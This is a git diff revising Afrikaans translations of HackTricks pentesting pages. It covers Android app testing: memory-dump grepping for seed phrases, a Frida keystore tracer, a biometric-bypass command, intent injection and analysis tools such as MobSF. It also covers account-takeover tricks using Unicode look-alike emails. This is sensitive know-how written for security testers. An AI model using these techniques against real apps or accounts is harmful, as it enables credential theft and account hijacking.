Dit sal die geheue in die ./dump vouer dump, en daar kan jy grep met iets soos:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
|
@ -505,11 +465,11 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Sensitiewe data in Keystore**
|
||||
|
||||
In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg voorregte is dit steeds **moontlik om dit te benader**. Aangesien programme geneig is om hier **sensitiewe data in teksformaat** te stoor, moet die pentests hiervoor nagaan, aangesien 'n root-gebruiker of iemand met fisiese toegang tot die toestel in staat kan wees om hierdie data te steel.
|
||||
In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met genoeg regte is dit steeds **moontlik om dit te benader**. Aangesien programme geneig is om hier **sensitiewe data in teksformaat** te stoor, moet die pentests hiervoor nagaan, aangesien 'n root-gebruiker of iemand met fisieke toegang tot die toestel in staat kan wees om hierdie data te steel.
|
||||
|
||||
Selfs as 'n program data in die keystore stoor, moet die data versleutel word.
|
||||
|
||||
Om die data binne die keystore te benader, kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Om toegang tot die data binne die keystore te verkry, kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
|
@ -523,9 +483,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Agtergrondbeelde**
|
||||
|
||||
Wanneer jy 'n aansoek in die agtergrond plaas, stoor Android 'n **momentopname van die aansoek** sodat wanneer dit na die voorgrond herstel word, dit die beeld begin laai voordat die aansoek sodat dit lyk asof die aansoek vinniger gelaai is.
|
||||
Wanneer jy 'n aansoek in die agtergrond plaas, stoor Android 'n **momentopname van die aansoek** sodat wanneer dit na die voorgrond herstel word, dit die beeld begin laai voordat die aansoek dit lyk asof die aansoek vinniger gelaai is.
|
||||
|
||||
Maar, as hierdie momentopname **sensitiewe inligting** bevat, kan iemand met toegang tot die momentopname dalk daardie inligting **steel** (let wel dat jy worteltoegang nodig het om dit te kan bereik).
|
||||
Maar, as hierdie momentopname **sensitiewe inligting** bevat, kan iemand met toegang tot die momentopname dalk daardie inligting **steel** (let wel dat jy worteltoegang nodig het om dit te kan benader).
|
||||
|
||||
Die momentopnames word gewoonlik gestoor rondom: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
|
@ -539,13 +499,13 @@ Hierdie instrument kan jou help om verskillende gereedskap tydens die dinamiese
|
|||
|
||||
### Intent Inspruiting
|
||||
|
||||
Ontwikkelaars skep dikwels plasing komponente soos aktiwiteite, dienste, en uitsaai-ontvangers wat hierdie Intents hanteer en hulle deurgee na metodes soos `startActivity(...)` of `sendBroadcast(...)`, wat riskant kan wees.
|
||||
Ontwikkelaars skep dikwels pligkomponente soos aktiwiteite, dienste, en uitsaai-ontvangers wat hierdie Intents hanteer en hulle deurgee na metodes soos `startActivity(...)` of `sendBroadcast(...)`, wat riskant kan wees.
|
||||
|
||||
Die gevaar lê daarin dat aanvallers nie-uitgevoerde app komponente kan aktiveer of toegang kan verkry tot sensitiewe inhoudsverskaffers deur hierdie Intents te mislei. 'n Noemenswaardige voorbeeld is die `WebView` komponent wat URL's na `Intent`-voorwerpe omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot skadelike Intent inspuitings.
|
||||
Die gevaar lê daarin dat aanvallers nie-uitgevoerde app-komponente kan aktiveer of toegang kan verkry tot sensitiewe inhoudsverskaffers deur hierdie Intents te mislei. 'n Noemenswaardige voorbeeld is die `WebView`-komponent wat URL's na `Intent`-voorwerpe omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot skadelike Intent-inspuitings.
|
||||
|
||||
### Belangrike Punte
|
||||
|
||||
* **Intent Inspruiting** is soortgelyk aan die web se Oop Herleiingsprobleem.
|
||||
* **Intent Inspruiting** is soortgelyk aan die web se Oop Herlei-kwessie.
|
||||
* Uitbuitings behels die deurgang van `Intent`-voorwerpe as ekstras, wat omgelei kan word om onveilige operasies uit te voer.
|
||||
* Dit kan nie-uitgevoerde komponente en inhoudsverskaffers aan aanvallers blootstel.
|
||||
* Die omskakeling van `WebView` se URL na `Intent` kan onbedoelde aksies fasiliteer.
|
||||
|
@ -564,18 +524,18 @@ Jy ken waarskynlik van hierdie soort kwesbaarhede van die Web. Wees spesifiek ve
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hack-insigte**\
|
||||
Betrokkenheid by inhoud wat die opwinding en uitdagings van hack bekyk
|
||||
Tree in kontak met inhoud wat die opwinding en uitdagings van hack ondersoek
|
||||
|
||||
**Reële Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hack-wêreld deur middel van nuus en insigte in werklike tyd
|
||||
**Hack Nuus in Werklikheid**\
|
||||
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
Sluit aan by ons op [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Outomatiese Analise
|
||||
|
||||
|
@ -591,24 +551,24 @@ docker pull opensecurity/mobile-security-framework-mobsf
|
|||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Let daarop dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) aansoeke kan analiseer (_Windows-aansoeke moet geanaliseer word vanaf 'n MobSF wat op 'n Windows-gashuis geïnstalleer is_).\
|
||||
Ook, as jy 'n **ZIP**-lêer met die bronkode van 'n **Android** of 'n **IOS**-toep (gaan na die hoofmap van die aansoek, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
|
||||
Verder, as jy 'n **ZIP**-lêer skep met die bronkode van 'n **Android**- of 'n **IOS**-toep (gaan na die hoofmap van die aansoek, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
|
||||
|
||||
MobSF laat jou ook toe om **diff/Vergelyk** analise te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Jou API-sleutel>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` instel, dan sal die **hash** in plaas van die lêer **opgelaai** word.
|
||||
MobSF laat jou ook toe om **diff/Vergelyk** analise en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Jou API-sleutel>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` instel, dan sal die **hash** in plaas van die lêer **opgelaai** word.
|
||||
|
||||
### Ondersteunde Dinamiese analise met MobSF
|
||||
|
||||
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer ( 'n VM of Docker sal nie werk nie). _Nota: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
|
||||
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer ( 'n VM of Docker sal nie werk nie). _Nota: Jy moet **eers 'n VM in genymotion** begin en **dan MobSF.**_\
|
||||
Die **MobSF dinamiese analiseerder** kan:
|
||||
|
||||
* **Toepassingsdata dump** (URL's, logboeke, knipbuiskakels, skermskote deur jou geneem, skermskote deur "**Geëksporteerde Aktiwiteitstoetser**" geneem, e-posse, SQLite-databasisse, XML-lêers, en ander geskep lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet "**Geëksporteerde Aktiwiteitstoetser**" druk om skermskote van al die uitgevoerde aktiwiteite te verkry.
|
||||
* **Toepassingsdata dump** (URL's, logboeke, knipbuiskakels, skermskote deur jou geneem, skermskote deur "**Geëksporteerde Aktiwiteitstoetser**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet "**Geëksporteerde Aktiwiteitstoetser**" druk om skermskote van al die uitgevoerde aktiwiteite te verkry.
|
||||
* Vang **HTTPS-verkeer**
|
||||
* Gebruik **Frida** om **runtime-inligting** te verkry
|
||||
|
||||
Vanaf android **weergawes > 5**, sal dit **outomaties Frida begin** en sal globale **proxy**-instellings stel om verkeer **vas te vang**. Dit sal slegs verkeer van die getoetste aansoek vasvang.
|
||||
Vanaf android **weergawes > 5**, sal dit **outomaties Frida begin** en sal globale **proxy-instellings** stel om verkeer **vas te vang**. Dit sal slegs verkeer van die getoetste aansoek vasvang.
|
||||
|
||||
**Frida**
|
||||
|
||||
Standaard sal dit ook van sommige Frida-skripte gebruik maak om **SSL-pinning te omseil**, **wortelopsporing** en **afskakelingsopsporing** en om **interessante API's te monitor**.\
|
||||
Standaard sal dit ook van sommige Frida-skripte gebruik maak om **SSL-pinning te omseil**, **wortelopsporing** en **afskakelopsporing** en om **interessante API's te monitor**.\
|
||||
MobSF kan ook **uitgevoerde aktiwiteite aanroep**, **skermskote** daarvan gryp en hulle vir die verslag **stoor**.
|
||||
|
||||
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Begin Instrumentasie**". Druk die "**Frida Lewende Logboeke**" om die logboeke wat deur die Frida-skripte gegenereer is te sien en "**Lewende API-monitor**" om al die aanroepings na gehaakte metodes, argumente wat oorgedra is en teruggekeerde waardes te sien (dit sal verskyn nadat jy "Begin Instrumentasie" gedruk het).\
|
||||
|
@ -620,7 +580,7 @@ Verder het jy 'n paar Hulp Frida-funksies:
|
|||
|
||||
* **Tel Gelaai Klas**: Dit sal al die gelaai klas druk
|
||||
* **Vang Strings**: Dit sal al die gevangen strings druk terwyl jy die aansoek gebruik (baie lawaaierig)
|
||||
* **Vang String Vergelykings**: Kan baie nuttig wees. Dit sal die **2 strings wat vergelyk word wys** en of die resultaat Waar of Vals was.
|
||||
* **Vang String Vergelykings**: Kan baie nuttig wees. Dit sal die 2 strings wat vergelyk word **wys** en of die resultaat Waar of Vals was.
|
||||
* **Tel Klas Metodes op**: Plaas die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
|
||||
* **Soek Klaspatroon**: Soek klasse volgens patroon
|
||||
* **Spoor Klas Metodes op**: **Spoor** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android Api-metodes nagaan.
|
||||
|
@ -640,13 +600,13 @@ receivers
|
|||
```
|
||||
**HTTP-gereedskap**
|
||||
|
||||
Wanneer http-verkeer vasgelê word, kan jy 'n lelike aansig van die vasgelê verkeer sien op die "**HTTP(S) Verkeer**" onderkant of 'n mooier aansig in "**Begin HTTPTools**" groen onderkant. Van die tweede opsie af kan jy die **vasgelê versoek** na **proksi's** soos Burp of Owasp ZAP **stuur**.\
|
||||
Wanneer http-verkeer vasgelê word, kan jy 'n lelike aansig van die vasgelê verkeer sien op die "**HTTP(S) Verkeer**" onderkant of 'n mooier aansig in die "**Begin HTTPTools**" groen onderkant. Van die tweede opsie af kan jy die **vasgelê versoek** na **proksi's** soos Burp of Owasp ZAP **stuur**.\
|
||||
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Stuur na Fuzzer**" --> _kies die proksi-adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Nadat jy die dinamiese analise met MobSF voltooi het, kan jy op "**Begin Web API Fuzzer**" druk om http-versoeke te **fuzz** en vir kwesbaarhede te soek.
|
||||
|
||||
{% hint style="info" %}
|
||||
Na die uitvoering van 'n dinamiese analise met MobSF kan die proksi-instellings verkeerd geconfigureer wees en sal jy nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proksi-instellings regstel deur die volgende te doen:
|
||||
Na die uitvoering van 'n dinamiese analise met MobSF kan die proksi-instellings verkeerd ingestel wees en kan jy dit nie van die GUI af regstel nie. Jy kan die proksi-instellings regstel deur die volgende te doen:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -655,7 +615,7 @@ adb shell settings put global http_proxy :0
|
|||
### Ondersteunde Dinamiese Analise met Inspeckage
|
||||
|
||||
Jy kan die instrument kry vanaf [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Hierdie instrument sal van **Hooks** gebruik maak om jou te laat weet **wat in die aansoek gebeur** terwyl jy 'n **dinamiese analise** uitvoer.
|
||||
Hierdie instrument gebruik **Hooks** om jou te laat weet **wat in die aansoek gebeur** terwyl jy 'n **dinamiese analise** uitvoer.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
|
@ -665,7 +625,7 @@ Dit is 'n **groot instrument om statiese analise met 'n GUI** uit te voer
|
|||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Hierdie instrument is ontwerp om verskeie **sekuriteitsverwante Android-toepassing kwesbaarhede** te soek, of in **bronkode** of **verpakte APK's**. Die instrument is ook **in staat om 'n "Proof-of-Concept" implementeerbare APK** en **ADB-opdragte** te skep, om van die gevonde kwesbaarhede te misbruik (Blootgestelde aktiwiteite, bedoelings, tapjacking...). Soos met Drozer, is daar geen nodigheid om die toestel te root nie.
|
||||
Hierdie instrument is ontwerp om verskeie **sekuriteitsverwante Android-toepassing kwesbaarhede** te soek, of in **bronkode** of **verpakte APK's**. Die instrument is ook **in staat om 'n "Bewys-van-Konsep" implementeerbare APK** en **ADB-opdragte** te skep, om van die gevonde kwesbaarhede te misbruik (Blootgestelde aktiwiteite, bedoelings, tapjacking...). Soos met Drozer, is daar geen nodigheid om die toets toestel te root nie.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -685,9 +645,9 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER is 'n opdraggereëltoepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers ontleed op soek na kwesbaarhede. Dit doen dit deur APK's te dekompres en 'n reeks reels toe te pas om daardie kwesbaarhede op te spoor.
|
||||
SUPER is 'n opdraggereeltoepassing wat in Windows, MacOS X en Linux gebruik kan word, wat _.apk_ lêers analiseer op soek na kwesbaarhede. Dit doen dit deur APK's te dekompres en 'n reeks reels toe te pas om daardie kwesbaarhede op te spoor.
|
||||
|
||||
Alle reels is gesentreer in 'n `rules.json` lêer, en elke maatskappy of toetsers kan sy eie reels skep om te analiseer wat hulle nodig het.
|
||||
Alle reels is gesentreer in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reels skep om te analiseer wat hulle nodig het.
|
||||
|
||||
Laai die nuutste bineêre lêers af van die [aflaaiblad](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
|
@ -707,7 +667,7 @@ Laai die [nuutste vrystelling](https://github.com/vincentcox/StaCoAn/releases) a
|
|||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
AndroBugs Framework is 'n Android kwetsbaarheidsanalise-sisteem wat ontwikkelaars of hackers help om potensiële sekuriteitskwessies in Android-toepassings te vind.\
|
||||
AndroBugs-raamwerk is 'n Android-kwetsbaarheidsanalisesisteem wat ontwikkelaars of hackers help om potensiële sekuriteitskwessies in Android-toepassings te vind.\
|
||||
[Windows vrystellings](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
|
@ -715,11 +675,11 @@ androbugs.exe -f [APK file]
|
|||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** is 'n instrument wat hoofsaaklik daarop gemik is om potensiële skadelike gedrag wat deur 'n Android-toepassing ontwikkel is, op te spoor en die gebruiker te waarsku.
|
||||
**Androwarn** is 'n instrument met die hoofdoel om die gebruiker te waarsku en te identifiseer oor potensiële skadelike gedrag wat ontwikkel is deur 'n Android-toepassing.
|
||||
|
||||
Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik-bytekode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
Die identifisering word uitgevoer met die **statische analise** van die toepassing se Dalvik-bytekode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
|
||||
|
||||
Hierdie instrument soek na **algemene gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders wat uitgelek word, Klank-/videovloei onderskepping, PIM-data-wysiging, Willekeurige kode-uitvoering...
|
||||
Hierdie instrument soek na **algemene gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders wat uitlek, Klank-/videovloei onderskepping, PIM-data-wysiging, Willekeurige kode-uitvoering...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
|
@ -727,16 +687,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA** is 'n **M**obiele **A**pplikasie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n instrument wat algemeen gebruikte mobiele applikasie reverse engineering en analise gereedskap bymekaar sit, om te help met die toets van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Sy doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassing-ontwikkelaars en sekuriteitsprofessionals.
|
||||
**MARA** is 'n **M**obiele **A**pplikasie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n instrument wat gereeld gebruikte mobiele applikasie reverse engineering en analise instrumente saamstel, om te help met die toets van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Sy doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassing-ontwikkelaars en sekuriteitsprofessionals.
|
||||
|
||||
Dit is in staat om:
|
||||
Dit kan:
|
||||
|
||||
* Java en Smali kode te onttrek met verskillende gereedskap
|
||||
* APK's te analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Privaat inligting uit die APK te onttrek deur regexps.
|
||||
* Die Manifest te analiseer.
|
||||
* Gevonde domeine te analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* APK te deobfuscate via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
* Java en Smali kode onttrek met verskillende instrumente
|
||||
* APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Privaat inligting uit die APK onttrek deur regexps.
|
||||
* Die Manifes analiseer.
|
||||
* Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
|
@ -744,11 +704,11 @@ Nuttig om malware op te spoor: [https://koodous.com/](https://koodous.com)
|
|||
|
||||
## Kode Obfuskasie/Deobfuskasie
|
||||
|
||||
Let daarop dat afhangende van die diens en konfigurasie wat jy gebruik om die kode te obfuskasie. Geheime mag al dan nie geëindig obfuskasie nie.
|
||||
Let daarop dat afhangende van die diens en konfigurasie wat jy gebruik om die kode te obfuskasie. Geheime mag al dan nie geobfuskeer eindig nie.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Vanaf [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** is 'n oopbron-kommalyn-instrument wat Java-kode verklein, optimaliseer en obfuskasie. Dit is in staat om bytecode te optimaliseer sowel as ongebruikte instruksies te identifiseer en te verwyder. ProGuard is vrye sagteware en word versprei onder die GNU Algemene Openbare Lisensie, weergawe 2.
|
||||
Vanaf [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** is 'n oopbron-kommalyn-instrument wat Java-kode verklein, optimaliseer en obfuskasie. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is vrye sagteware en word versprei onder die GNU Algemene Openbare Lisensie, weergawe 2.
|
||||
|
||||
ProGuard word versprei as deel van die Android SDK en hardloop wanneer die aansoek in vrystellingmodus gebou word.
|
||||
|
||||
|
@ -760,19 +720,19 @@ Vind 'n stap-vir-stap-gids om die apk te deobfuskasie in [https://blog.lexfo.fr/
|
|||
|
||||
* laai 'n hulpbron as 'n InputStream;
|
||||
* voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te dekripteer;
|
||||
* doen 'n paar nuttelose obfuskasie om 'n paar minute van 'n reverser se tyd te mors;
|
||||
* doen 'n paar nuttelose obfuskasie om 'n paar minute van 'n omkeerder se tyd te mors;
|
||||
* voer die dekripteerde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
|
||||
* laai uiteindelik die resulterende DEX as 'n Hulpbron deur die `loadDex` metode te gebruik.
|
||||
* laai uiteindelik die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard keer die proses van obfuskasie wat deur Android obfuskasie gereedskap uitgevoer is, om. Dit maak talryke sekuriteitsontledings moontlik, insluitend kode-inspeksie en voorspelling van biblioteke.**
|
||||
**DeGuard keer die proses van obfuskasie wat deur Android obfuskasie-instrumente uitgevoer is, om. Dit maak talryke sekuriteitsontledings moontlik, insluitend kode-inspeksie en voorspelling van biblioteke.**
|
||||
|
||||
Jy kan 'n obfuskasie APK na hul platform oplaai.
|
||||
Jy kan 'n geobfuskeerde APK na hul platform oplaai.
|
||||
|
||||
### [Vereenvoudig](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Dit is 'n **generiese Android deobfuskator.** Vereenvoudig **voer feitlik 'n app uit** om sy gedrag te verstaan en probeer dan die kode **te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens is om te verstaan. Elke optimiseringssoort is eenvoudig en generies, dus maak dit nie saak watter spesifieke tipe obfuskasie gebruik word nie.
|
||||
Dit is 'n **generiese Android deobfuskator.** Vereenvoudig **voer feitlik 'n toepassing uit** om sy gedrag te verstaan en probeer dan die kode **te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens is om te verstaan. Elke optimiseringssoort is eenvoudig en generies, dus maak dit nie saak watter spesifieke tipe obfuskasie gebruik word nie.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -786,7 +746,7 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko
|
|||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b is 'n Android-sekuriteitsvirtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriale en laboratoriums van verskillende sekuriteitsgeeks en navorsers insluit vir reverse engineering en malware-analise.
|
||||
AndroL4b is 'n Android-sekuriteitsvirtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerk, tutoriale en laboratoriums van verskillende sekuriteitsgeek en navorsers insluit vir omgekeerde ingenieurswese en malware-analise.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -807,13 +767,13 @@ AndroL4b is 'n Android-sekuriteitsvirtuele masjien gebaseer op ubuntu-mate wat d
|
|||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hack-insigte**\
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack ondersoek
|
||||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack weergee
|
||||
|
||||
**Nuus oor Hack in Werklikheid**\
|
||||
Bly op hoogte van die vinnige tempo van die hack-wêreld deur middel van nuus en insigte in werklikheid
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
|
@ -825,7 +785,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -10,53 +10,62 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## **Outorisasie Probleem**
|
||||
## **Outorisasieprobleem**
|
||||
|
||||
Die e-pos van 'n rekening moet probeer word om verander te word, en die bevestigingsproses **moet ondersoek word**. As dit as **swak** bevind word, moet die e-pos na dié van die beoogde slagoffer verander word en dan bevestig word.
|
||||
|
||||
## **Unicode Normalisering Probleem**
|
||||
## **Unicode Normaliseringprobleem**
|
||||
|
||||
1. Die rekening van die beoogde slagoffer `victim@gmail.com`
|
||||
2. 'n Rekening moet geskep word met behulp van Unicode\
|
||||
byvoorbeeld: `vićtim@gmail.com`
|
||||
|
||||
Soos verduidelik in [**hierdie gesprek**](https://www.youtube.com/watch?v=CiIyaZ3x49c), kan die vorige aanval ook gedoen word deur derdeparty-identiteitsverskaffers te misbruik:
|
||||
|
||||
* Skep 'n rekening in die derdeparty-identiteit met 'n soortgelyke e-pos aan die slagoffer deur van 'n Unicode-karakter gebruik te maak (`vićtim@company.com`).
|
||||
* Die derdeparty-verskaffer moet nie die e-pos verifieer nie
|
||||
* As die identiteitsverskaffer die e-pos verifieer, kan jy dalk die domeindeel aanval soos: `victim@ćompany.com` en daardie domein registreer en hoop dat die identiteitsverskaffer die ASCII-weergawe van die domein genereer terwyl die slagofferplatform die domeinnaam normaliseer.
|
